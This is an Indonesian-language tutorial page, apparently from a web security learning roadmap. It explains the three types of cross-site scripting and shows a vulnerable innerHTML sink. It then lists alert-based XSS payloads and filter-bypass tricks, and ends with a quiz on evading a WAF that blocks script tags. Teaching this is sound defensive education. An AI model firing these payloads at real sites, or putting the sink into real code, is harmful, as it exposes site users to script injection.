Kembali ke Roadmap
// PHASE 3 · Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS)

Apa Itu XSS?

Cross-Site Scripting (XSS) terjadi ketika aplikasi web menyertakan input user di halaman tanpa validasi atau encoding yang tepat, memungkinkan attacker menyisipkan script berbahaya.

Tipe XSS

1. Reflected XSS

Payload ada di URL, direfleksikan langsung ke respons. Butuh korban mengklik link berbahaya.

https://site.com/search?q=<script>alert(1)</script>

2. Stored XSS — Paling Berbahaya

Payload tersimpan di server (komentar, profil, dll), dieksekusi ke semua pengunjung.

3. DOM-based XSS

Terjadi sepenuhnya di client — data dari URL langsung masuk ke sink berbahaya di JS.

// Vulnerable code document.getElementById("out").innerHTML = location.hash.substring(1);

Payloads Dasar

# Standard <script>alert(document.domain)</script> # Event handlers (bypass script filter) <img src=x onerror=alert(1)> <svg onload=alert(1)> <body onpageshow=alert(1)> # Tanpa tanda kurung <img src=x onerror=alert`1`> # JavaScript URI <a href="javascript:alert(1)">click</a>

Filter Bypass Techniques

# Case variation <ScRiPt>alert(1)</ScRiPt> # Double encoding %253Cscript%253E (%25 = %, jadi %3C = <) # HTML entities &lt;script&gt;alert(1)&lt;/script&gt; # Null bytes (beberapa parser) <scr%00ipt>alert(1)</script>

Dampak XSS

Lab gratis terbaik: PortSwigger Web Academy (portswigger.net/web-security/cross-site-scripting) punya 30+ lab XSS interaktif dari basic hingga advanced. Wajib dikerjakan!
// CEK PEMAHAMAN
Payload XSS mana yang paling mungkin berhasil ketika tag <script> diblokir oleh WAF?
A<SCRIPT>alert(1)</SCRIPT>
B<img src=x onerror=alert(1)>
C%3Cscript%3Ealert(1)%3C/script%3E
D<xss>alert(1)</xss>
JavaScript Analysis SQL Injection